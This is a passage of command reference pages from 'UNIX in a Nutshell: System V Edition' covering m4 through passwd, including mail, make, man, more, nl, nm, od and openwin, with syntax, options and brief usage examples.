UNIX Commands 		Next: Reference: mail

m4

m4 [files]

Macro processor for RATFOR, C, and other program files.

Options

-Bn

Set push-back and argument collection buffers to n (default is 4,096).

-Dname[=value]

Define name as value or, if value is not specified, define name as null.

-e

Operate interactively, ignoring interrupts.

-Hn

Set symbol table hash array to n (default is 199).

-s

Enable line-sync output for the C preprocessor.

-Sn

Set call stack size to n (default is 100 slots).

-Tn

Set token buffer size to n (default is 512 bytes).

-Uname

Undefine name.

Previous: Reference: m4 | UNIX in a Nutshell: System V Edition | Next: Reference: mail
Reference: m4 | Book Index | Reference: mail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mail

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: m4 Chapter 2
UNIX Commands 		Next: Reference: mailalias

mail

mail [options] [users]

Read mail (if no users listed), or send mail to other users. Type ? for a summary of commands. Esoteric debugging options exist (not listed) for system administrators.

Options for sending mail

-m type

Print a "Message-type:" line at the heading of the letter, followed by type of message.

-t

Print a "To:" line at the heading of the letter, showing the names of the recipients.

-w

Force mail to be sent to remote users without waiting for remote transfer program to be completed.

-F

Store message in a file named after the first recipient.

-h n

Stop trying to send after making n network connections, or "hops" (useful for avoiding infinite loops).

-i

Ignore interrupts (useful on modems).

-n

-r address

Specify a return address for mail you send.

-s subject

Print subject in the subject header field.

-U

Convert uucp-type addresses to Internet format.

-v

Verbose; display status of mail delivery.

Options for reading mail

Options -i, -n, -U, and -v, are also available.

-e

Test for the existence of mail without printing it. Exit status is 0 if mail exists; otherwise 1.

-f file

Read mail from alternate mailbox file.

-F names

Forward all incoming mail to recipient names.

-h

Display a window of messages rather than the latest message.

-p

Print all messages without pausing.

-P

Print messages with all header lines displayed.

-q

Terminate on an interrupt.

-r

Print oldest messages first.

Previous: Reference: m4 | UNIX in a Nutshell: System V Edition | Next: Reference: mailalias
Reference: m4 | Book Index | Reference: mailalias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mailalias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mail Chapter 2
UNIX Commands 		Next: Reference: mailx

mailalias

mailalias [options] names

Display the e-mail addresses associated with one or more alias names. mailalias displays addresses that are listed in the files /var/mail/name, $HOME/lib/names, and in the files pointed to by the list in /etc/mail/namefiles. mailalias is called by mail.

Options

-s

Suppress name; show only corresponding mail address.

-v

Verbose mode; show debugging information.

Previous: Reference: mail | UNIX in a Nutshell: System V Edition | Next: Reference: mailx
Reference: mail | Book Index | Reference: mailx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mailx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mailalias Chapter 2
UNIX Commands 		Next: Reference: make

mailx

mailx [options] [users]

Read mail, or send mail to other users. For a summary of commands, type ? in command mode (e.g., when reading mail) or ~? in input mode (e.g., when sending mail). The start-up file .mailrc in the user's home directory is useful for setting display variables and for defining alias lists.

Options

-d

Set debugging.

-e

Test for the existence of mail without printing it. Exit status is 0 if mail exists; otherwise 1.

-f [file]

Read mail in alternate file (default is mbox).

-F

Store message in a file named after the first recipient.

-h n

Stop trying to send after making n network connections, or "hops" (useful for avoiding infinite loops).

-H

Print mail headers only.

-i

Ignore interrupts (useful on modems); same as ignore environment variable.

-I

Use with -f when displaying saved news articles; newsgroup and article-ID headers are included.

-n

Do not read the startup mailx.rc file.

-N

Don't print mail headers.

-r address

Specify a return address for mail you send.

-s sub

Print string sub in the subject header field.

-T file

Record message IDs and article IDs (of news articles) in file.

-u user

Read user's mail.

-U

Convert uucp-type addresses to Internet format.

-V

Print version number of mailx and exit.

Previous: Reference: mailalias | UNIX in a Nutshell: System V Edition | Next: Reference: make
Reference: mailalias | Book Index | Reference: make
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: make

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mailx Chapter 2
UNIX Commands 		Next: Reference: makekey

make

make [options] [targets]

Update one or more targets according to dependency instructions in a description file in the current directory. By default, this file is called makefile or Makefile. See Section 19 for more information on make. See also the Nutshell Handbook, Managing Projects with make.

Options

-e

Override makefile assignments with environment variables.

-f makefile

Use makefile as the description file; a filename of - denotes standard input.

-i

Ignore command error codes (same as .IGNORE).

-k

Abandon the current entry when it fails, but keep working with unrelated entries.

-n

Print commands but don't execute (used for testing).

-p

Print macro definitions and target descriptions.

-q

Query; return 0 if file is up-to-date; nonzero otherwise.

-r

Do not use "default" rules.

-s

Do not display command lines (same as .SILENT).

-t

Touch the target files, causing them to be updated.

Previous: Reference: mailx | UNIX in a Nutshell: System V Edition | Next: Reference: makekey
Reference: mailx | Book Index | Reference: makekey
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: makekey

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: make Chapter 2
UNIX Commands 		Next: Reference: man

makekey

makekey

Improve encryption schemes by creating a more difficult key. makekey is available only in the United States (due to export restrictions).

Previous: Reference: make | UNIX in a Nutshell: System V Edition | Next: Reference: man
Reference: make | Book Index | Reference: man
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: man

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: makekey Chapter 2
UNIX Commands 		Next: Reference: mcs

man

/usr/ucb/man [options] [[section] subjects]

Display information from the on-line reference manuals. Each subject is usually the name of a command from Section 1 of the on-line manuals, unless you specify an optional section from 1 to 8. If you don't specify a subject, you must supply either a keyword (for -k) or a file (for -f). No options except -M can be used with -k or -f. The MANPATH environment variable defines the directory in which man searches for information (default is /usr/share/man). PAGER defines how output is sent to the screen (default is more -s). Note: In Solaris 2.0, section must be preceded by -s.

Options

-

Pipe output through cat instead of more -s.

-a

Show all pages matching subject. Solaris 2.0 only.

-d

Debug; evaluate the man command but don't execute. Solaris 2.0 only.

-F

Search MANPATH directories, not windex database. Solaris 2.0 only.

-f files

Display a one-line summary of one or more reference files. Same as whatis.

-k keywords

Display any header line that contains one of the specified keywords. Same as apropos.

-l

Like -a, but only list the pages. Solaris 2.0 only.

-M path

Search for on-line descriptions in directory path instead of default directory. -M overrides MANPATH.

-r

Reformat but don't display manual page. Same as - -t. Solaris 2.0 only.

-t

Format the manual pages with troff.

-T mac

Display information using macro package mac instead of tmac.an (the man macros).

Examples

Save documentation on the mv command (strip backspaces):

man mv | col -b > Move.doc

Display commands related to linking and compiling:

man -k link compile | more

Display a summary of all intro files:

man -f intro

Look up the page for nice, as well as the intro page from Section 3M:

man nice 3m intro		In SVR4
man nice -s 3m intro	In Solaris 2.0

Previous: Reference: makekey | UNIX in a Nutshell: System V Edition | Next: Reference: mcs
Reference: makekey | Book Index | Reference: mcs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mcs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: man Chapter 2
UNIX Commands 		Next: Reference: mesg

mcs

mcs [options] files

Manipulate the comment section. mcs is used to add to, compress, delete, or print a section of one or more ELF object files. The default section is .comment. If any input file is an archive, mcs acts on each component file and removes the archive symbol table (unless -p was the only option specified). Use ar s to regenerate the symbol table. At least one option must be supplied.

Options

-a string

Append string to the comment section of files.

-c

Compress the comment section of files and remove duplicate entries.

-d

Delete the comment section (including header).

-n name

Act on section name instead of .comment.

-p

Print the comment section on standard output.

-V

Print the version of mcs on standard error.

Example

mcs -p kernel.o	Print the comment section of kernel.o

Previous: Reference: man | UNIX in a Nutshell: System V Edition | Next: Reference: mesg
Reference: man | Book Index | Reference: mesg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mesg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mcs Chapter 2
UNIX Commands 		Next: Reference: mkdir

mesg

mesg [options]

Change the ability of other users to send write messages to your terminal. With no options, display the permission status. On System V, a hyphen can precede the options.

Options

n

Forbid write messages.

y

Allow write messages (the default).

Previous: Reference: mcs | UNIX in a Nutshell: System V Edition | Next: Reference: mkdir
Reference: mcs | Book Index | Reference: mkdir
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mkdir

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mesg Chapter 2
UNIX Commands 		Next: Reference: mkmsgs

mkdir

mkdir [options] directories

Create one or more directories. You must have write permission in the parent directory in order to create a directory. See also rmdir.

Options

-m mode

Set the access mode for new directories.

-p

Create intervening parent directories if they don't exist.

Examples

Create a read-only directory named personal:

mkdir -m 444 personal

The following sequence:

mkdir work; cd work
mkdir junk; cd junk
mkdir questions; cd ../..

could be accomplished by typing this:

mkdir -p work/junk/questions

Previous: Reference: mesg | UNIX in a Nutshell: System V Edition | Next: Reference: mkmsgs
Reference: mesg | Book Index | Reference: mkmsgs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mkmsgs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mkdir Chapter 2
UNIX Commands 		Next: Reference: more

mkmsgs

mkmsgs [options] string_file msg_file

Convert string_file (a list of text strings) into msg_file (the file whose format is readable by gettxt). The created msg_file is also used by the commands exstr and srchtxt.

Options

-i locale

Create msg_file in directory:

/usr/lib/locale/locale/LC_MESSAGES

For example, if string_file is a collection of error messages in German, you might specify locale as german.

-o

Overwrite existing msg_file.

Previous: Reference: mkdir | UNIX in a Nutshell: System V Edition | Next: Reference: more
Reference: mkdir | Book Index | Reference: more
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: more

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mkmsgs Chapter 2
UNIX Commands 		Next: Reference: mv

more

more [options] [files]

Display the named files on a terminal, one screenful at a time. After each screen is displayed, press RETURN to display the next line or press the spacebar to display the next screenful. Press h for help with additional commands, q to quit, / to search, or :n to go to the next file. more can also be invoked using the name page.

Options

-c

Page through the file by clearing each window instead of scrolling. This is sometimes faster.

-d

Display the prompt Press space to continue, 'q' to quit.

-f

Count logical rather than screen lines. Useful when long lines wrap past the width of the screen.

-l

Ignore formfeed (^L) characters.

-r

Force display of control characters, in the form ^x.

-s

Squeeze; display multiple blank lines as one.

-u

Suppress underline characters and backspace (^H).

-w

Wait for a user keystroke before exiting.

-n

Use n lines for each window (default is a full screen).

+num

Begin displaying at line number num.

+/pattern

Begin displaying two lines before pattern.

Examples

Page through file in "clear" mode, and display prompts:

more -cd file

Format doc to the screen, removing underlines:

nroff doc | more -u

View the man page for the grep command; begin near the word "BUGS" and compress extra white space:

man grep | more +/BUGS -s

Previous: Reference: mkmsgs | UNIX in a Nutshell: System V Edition | Next: Reference: mv
Reference: mkmsgs | Book Index | Reference: mv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: more Chapter 2
UNIX Commands 		Next: Reference: nawk

mv

mv [options] sources target

Basic command to move files and directories around on the system or to rename them. mv works as follows:

Source | Target | Result
File | name | Rename file as name.
File | Existing file | verwrite existing file with source file.
Directory | name | Rename directory as name.
Directory | Existing directory | Move directory to be a subdirectory of existing directory.
One or more files | Existing directory | Move files to directory.

Options

--

-

Use this when one of the names begins with a -.

-f

Force the move, even if target file exists; suppress messages about restricted access modes.

-i

Inquire; prompt for a y (yes) response before overwriting an existing target.

Previous: Reference: more | UNIX in a Nutshell: System V Edition | Next: Reference: nawk
Reference: more | Book Index | Reference: nawk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nawk

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mv Chapter 2
UNIX Commands 		Next: Reference: newform

nawk

nawk [options] ['program'] [files] [variable=value]

New version of awk, with additional capabilities. Nawk is a pattern-matching language useful for manipulating data. See Section 11 for more information on nawk.

Options

-f file

Read program instructions from file instead of supplying program instructions on command line.

-F regexp

Separate fields using regular expression regexp.

-v variable=value

Assign value to variable before executing 'program'. If specified at the end of the command line, assignment occurs after opening files.

Previous: Reference: mv | UNIX in a Nutshell: System V Edition | Next: Reference: newform
Reference: mv | Book Index | Reference: newform
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: newform

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nawk Chapter 2
UNIX Commands 		Next: Reference: newgrp

newform

newform [options] files

Format files according to the options specified. newform resembles cut and paste and can be used to filter text output. Options can appear more than once and can be interspersed between files (except for -s, which must appear first).

Options

-a[n]

Append n characters to the end of each line or, if n isn't specified, append characters until each line has the length specified by -l.

-b[n]

Delete n characters from beginning of each line or, if n isn't specified, delete characters until each line has the length specified by -l.

-cm

Use character m (instead of a space) when padding lines with -a or -p;

-e[n]

Same as -b but delete from the end. -c must precede -a or -p.

-f

Display tabspec format used by last -o option.

-i'tabspec'

Expand tabs to spaces using tabspec conversion (default is 8 spaces); tabspec is one of the options listed under tabs.

-l[n]

Use line length n (default is 72). If -l is not specified, default line length is 80. -l usually precedes other options that modify line length (-b, -e, -c, -a, or -p).

-o'tabspec'

Turn spaces into tabs using tabspec conversion.

-p[n]

Same as -a but pad beginning of line.

-s

Strip leading characters from each line (up to and including first tab); the first seven characters are moved to the end of the line (without the tab). All lines must contain at least one tab.

Example

Remove sequence numbers from a COBOL program:

newform -l1 -b7 file

Previous: Reference: nawk | UNIX in a Nutshell: System V Edition | Next: Reference: newgrp
Reference: nawk | Book Index | Reference: newgrp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: newgrp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: newform Chapter 2
UNIX Commands 		Next: Reference: news

newgrp

newgrp [-] [group]

Log in to group. If group name is not specified, your original group is reinstated. If - is given, log in using the same environment as when logging in as group.

Previous: Reference: newform | UNIX in a Nutshell: System V Edition | Next: Reference: news
Reference: newform | Book Index | Reference: news
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: news

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: newgrp Chapter 2
UNIX Commands 		Next: Reference: nice

news

news [options] [item_files]

Consult the news directory for information on current events. With no arguments, news prints all current item_files. Items usually reside in /usr/news or /var/news.

Options

-a

Print all news items, whether current or not.

-n

Print names of news items, but not their contents.

-s

Report the number of current news items.

Previous: Reference: newgrp | UNIX in a Nutshell: System V Edition | Next: Reference: nice
Reference: newgrp | Book Index | Reference: nice
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nice

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: news Chapter 2
UNIX Commands 		Next: Reference: nl

nice

nice [option] command [arguments]

Execute a command and arguments with lower priority (i.e., be "nice" to other users).

Option

-n

Run command with a niceness of n (1-19); default is 10. Higher n means lower priority. A privileged user can raise priority by specifying a negative n (e.g., -5). nice works differently in the C shell (see Section 5). +n raises priority, -n lowers it, and 4 is the default.

Previous: Reference: news | UNIX in a Nutshell: System V Edition | Next: Reference: nl
Reference: news | Book Index | Reference: nl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nl

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nice Chapter 2
UNIX Commands 		Next: Reference: nm

nl

nl [options] [file]

Number the lines of file in logical page segments. Numbering resets to 1 at the start of each page.

Options

-btype

Number lines according to type. Values are:

a | All lines.
n | No lines.
t

Text lines only (the default).

p"exp"

Lines containing exp only.

-dxy

Use characters xy to delimit logical pages (default is \:).

-ftype

Like -b but number footer (default type is n).

-htype

Like -b but number header (default type is n).

-in

Increment each line number by n (default is 1).

-ln

Count n consecutive blank lines as one line.

-nformat

Set line number format. Values are:

ln

Left justify, omit leading zeros.

rn

Right justify, omit leading zeros (default).

rz

Right justify.

-p

Do not reset numbering at start of pages.

-sc

Separate text from line number with character(s) c (default is a tab).

-vn

Number each page starting at n (default is 1).

-wn

Use n columns to show line number (default is 6).

Examples

List the current directory, numbering files as 1), 2), etc.:

ls | nl -w3 -s')  '

Number C source code and save it:

nl prog.c > print_prog

Number only lines that begin with #include:

nl -bp"^#include" prog.c

Previous: Reference: nice | UNIX in a Nutshell: System V Edition | Next: Reference: nm
Reference: nice | Book Index | Reference: nm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nl Chapter 2
UNIX Commands 		Next: Reference: nohup

nm

nm [options] objfiles

Print the symbol table (name list) in alphabetical order for one or more object files (usually ELF or COFF files). Output includes each symbol's value, type, size, name, etc. A key letter categorizing the symbol can also be displayed. Output includes each symbol's value and name, preceded by a key letter categorizing the symbol. If no object file is given, use a.out.

Options

-e

Report only external and static symbols; obsolete.

-f

Report all information; obsolete.

-h

Suppress the header.

-l

Use with -p; indicate WEAK symbols by appending an asterisk (*) to key letters.

-n

Sort the external symbols by name.

-o

Report values in octal.

-p

Precede each symbol with its key letter (used for parsing).

-r

Report the object file's name on each line.

-T

Truncate the symbol name in the display; obsolete.

-u

Report only the undefined symbols.

-v

Sort the external symbols by value.

-V

Print nm's version number on standard error.

-x

Report values in hexadecimal.

Key letters

A

Absolute symbol.

C

Common symbol.

D

Data object symbol.

F

File symbol.

N

Symbol with no type.

S

Section symbol.

T

Text symbol.

U

Undefined symbol.

Previous: Reference: nl | UNIX in a Nutshell: System V Edition | Next: Reference: nohup
Reference: nl | Book Index | Reference: nohup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nohup

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nm Chapter 2
UNIX Commands 		Next: Reference: notify

nohup

nohup command [arguments] &

Continue to execute the named command and optional command arguments after you log out (make command immune to hangups; i.e., no hangup). In the C shell, nohup is built in. In the Bourne shell, nohup allows output redirection; output goes to nohup.out by default.

Previous: Reference: nm | UNIX in a Nutshell: System V Edition | Next: Reference: notify
Reference: nm | Book Index | Reference: notify
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: notify

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nohup Chapter 2
UNIX Commands 		Next: Reference: nroff

notify

notify [options]

Inform user when new mail arrives. With no options, indicate whether automatic notification is enabled or disabled.

Options

-m file

Save mail messages to file (default is $HOME/.mailfile). Applies only when automatic notification is enabled (-y option).

-n

Disable mail notification. -n is used alone.

-y

Enable mail notification.

Previous: Reference: nohup | UNIX in a Nutshell: System V Edition | Next: Reference: nroff
Reference: nohup | Book Index | Reference: nroff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nroff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: notify Chapter 2
UNIX Commands 		Next: Reference: od

nroff

/usr/ucb/nroff [options] [files]

Format documents to line printer or to screen. See Section 12.

Previous: Reference: notify | UNIX in a Nutshell: System V Edition | Next: Reference: od
Reference: notify | Book Index | Reference: od
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: od

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nroff Chapter 2
UNIX Commands 		Next: Reference: openwin

od

od [options] [file] [[+] offset[. | b]]

Octal dump; produce a dump (normally octal) of the named file. file is displayed from its beginning, unless you specify an offset (normally in octal bytes). In the descriptions below, a "word" is a 16-bit unit.

Options

-b

Display bytes as octal.

-c

Display bytes as ASCII.

-d

Display words as unsigned decimal.

-D

Display 32-bit words as unsigned decimal.

-f

Display 32-bit words as floating point.

-F

Display 64-bit words as extended precision.

-o

Display words as unsigned octal (the default).

-O

Display 32-bit words as unsigned octal.

-s

Display words as signed decimal.

-S

Display 32-bit words as signed decimal.

-v

Verbose; show all data. Duplicate lines print as *.

-x

Display words as hexadecimal.

-X

Display 32-bit words as hexadecimal.

+

Required before offset if file isn't specified.

Modifiers for offset

.

offset value is decimal.

b

offset value is 512-byte blocks.

Previous: Reference: nroff | UNIX in a Nutshell: System V Edition | Next: Reference: openwin
Reference: nroff | Book Index | Reference: openwin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: openwin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: od Chapter 2
UNIX Commands 		Next: Reference: pack

openwin

openwin [options]

Solaris 2.0 only. openwin is the shell script that sets up OpenWindows, the windowing environment based on the OPEN LOOK graphical user interface. OpenWindows provides application programs that let you edit, print, or delete files, send and receive mail, make icons and screen dumps, schedule activities on a calendar, etc. Online help is included. To access OpenWindows, your environment variable OPENWINHOME must be set to the directory in which the OpenWindows software resides. The description below presents a "roadmap" of OpenWindows' Workspace menu, including a summary of the available programs and utilities.

Options

openwin accepts all options that are valid for xnews, along with some additional options specific to openwin. Most of these options are used to initialize the display format of the OpenWindows environment. The display format is usually initialized automatically, so command-line options are rarely used (see the Save Workspace utility). For more information, see the online reference pages for openwin or xnews.

Workspace menu

Programs

Submenu from which to select the DeskSet applications. Individual programs are summarized below.

Utilities

Submenu from which to select OpenWindows utilities. Individual utilities are summarized below.

Properties

Window from which you can set background colors, icon locations, scrollbar placement, and other properties of the Workspace environment.

Help

Window that provides menu-based help on the features of OpenWindows.

Desktop Intro

Window that provides novice users with a basic introduction (e.g., how to use the mouse, how to use the help facility).

Exit

Menu item that quits OpenWindows.

Programs submenu

This submenu provides access to the DeskSet applications, of which the most essential are File Manager, Text Editor, Mail Tool, and Command Tool. The applications are summarized below, in the order they appear in the Programs submenu.

Command Tool

Open a terminal window for entering UNIX commands at a system prompt. Because the window is scrollable by default, you can review (and even edit) previous commands.

Text Editor

Open a text editor on new or existing files. Editor functions include searching, replacing, moving, and copying.

File Manager

Manipulate files and directories. Tasks include creating, moving, deleting, and printing. Files can be listed using different sorting methods, as icons, etc.

Mail Tool

Read or send electronic mail.

Calendar Manager

A month-at-a-glance window that lets you set appointments and receive automatic reminders.

Clock

Display a clock. You can customize the clock display by selecting various features from the Properties window. (To bring up this window, move the pointer inside the Clock, then press the MENU button on the mouse.)

Calculator

Display a calculator that can perform mathematical operations. Enter input using either mouse-button presses or keyboard typing. Important Calculator buttons include:

Keys

Label the buttons of the calculator keypad with their keyboard equivalents.

Base

Display values in octal, hex, binary, or decimal (the default).

Mode

Pop up a window containing buttons for special functions. Modes include Financial, Logical, or Scientific.

Display

Display values in notations such as fixed-point or scientific.

Print Tool

Send print requests, select a printer, check the queue, or stop a print request.

Audio Tool

Record and play audio files.

Tape Tool

Copy files to a tape cartridge.

Binder

Change the default association (that is, binding) between icons and DeskSet applications (e.g., you can change an icon's color). Also useful for binding a new icon to its associated application. See "Icon Editor" below.

Snapshot

Create raster-image files or view existing ones. For example, you can "take a picture" of all or part of your screen, then store it as a raster-image file (for later viewing or printing).

Icon Editor

Create or modify icon images or pointers. Useful for graphically labeling file types that are displayed by the File Manager application.

Performance Meter

Display graphs (or dials) to monitor various aspects of system and network performance.

Shell Tool

Same as Command Tool except that scrolling is initially disabled by default.

Demos

A list of OpenWindows demonstration programs you can run. In order for the system to locate these programs, you must specify the -includedemo option when running openwin.

Utilities submenu

This submenu provides access to OpenWindows utilities, of which the most essential are Save Workspace and Refresh. The utilities are summarized below, in the order they appear in the Utilities submenu.

Refresh

Redraw the Workspace. Useful if applications leave distracting visual remnants after being closed.

Reset Input

Make keyboard input readable again. (Input is sometimes garbled by running an incompatible application at the same time as OpenWindows.)

Function Keys

(Currently unsupported.) Display the function keys and show the operation that they would perform while using the current application. This utility will allow support for international keyboards.

Window Controls

Manipulate the active application window (open, close, resize, or move in front of or behind another window). This utility duplicates the operations available to most applications from their window menu (which is pulled down from the application header).

Save Workspace

Store the appearance of your Workspace. Once you have customized the size and position of your applications, use Save Workspace to store this appearance. Now, each time you start up OpenWindows, your applications will automatically appear the way you previously saved them.

Lock Screen

Cover the Workspace with a moving pattern. Useful when you are away from your screen. Lock Screen hides your applications (providing added security) and prevents phosphor burnout of the screen. To unlock the screen, press any key or mouse button, then type your password.

Console

Provide a terminal window in which to view any error messages or system messages you receive.

Online help

There are four types of online help: the Desktop tutorial, the Help handbooks, Spot Help, and manpages. The Desktop tutorial and Help handbooks are accessed from the Workspace menu as described above. Spot Help is available by moving the pointer to a specific place on the Workspace (e.g., a menu item). If you now press the keyboard's Help key, an information window pops up to describe the spot where the pointer is. Manpages are reference pages that you call up by typing the man command at a UNIX prompt. To view manpages, you don't need to be running OpenWindows, but you do need to define the MANPATH variable to include the directory where the OpenWindows manpages are located. By default, this directory is:

$OPENWIN/share/man

So, for example, you could define a few search directories for man by placing the following line in your .cshrc file:

setenv MANPATH /usr/man:$OPENWIN/share/man

After sourcing .cshrc, you could browse OpenWindows topics by typing either of these commands:

man -k openwin
man file

Here's a list of the most useful manpage files you might want to find out about:

audiotool    install_cmgr    snapshot
binder       mailtool        tapetool
calctool     olwm            textedit
clock        pageview        xfontsel
cm           perfmeter       xlsfonts
cmdtool      printtool       xmodmap
filemgr      reservecolors   xrdb
iconedit     shelltool       xset

Previous: Reference: od | UNIX in a Nutshell: System V Edition | Next: Reference: pack
Reference: od | Book Index | Reference: pack
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pack

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: openwin Chapter 2
UNIX Commands 		Next: Reference: page

pack

pack [options] files

Compact each file and place the result in file.z. The original file is replaced. To restore packed files to their original form, see pcat and unpack.

Options

-

Print number of times each byte is used, relative frequency, and byte code.

-f

Force the pack even when disk space isn't saved.

Previous: Reference: openwin | UNIX in a Nutshell: System V Edition | Next: Reference: page
Reference: openwin | Book Index | Reference: page
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: page

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pack Chapter 2
UNIX Commands 		Next: Reference: passwd

page

page [options] [files]

Same as more.

Previous: Reference: pack | UNIX in a Nutshell: System V Edition | Next: Reference: passwd
Reference: pack | Book Index | Reference: passwd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: passwd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: page Chapter 2
UNIX Commands 		Next: Reference: paste

passwd

passwd [options] [user]

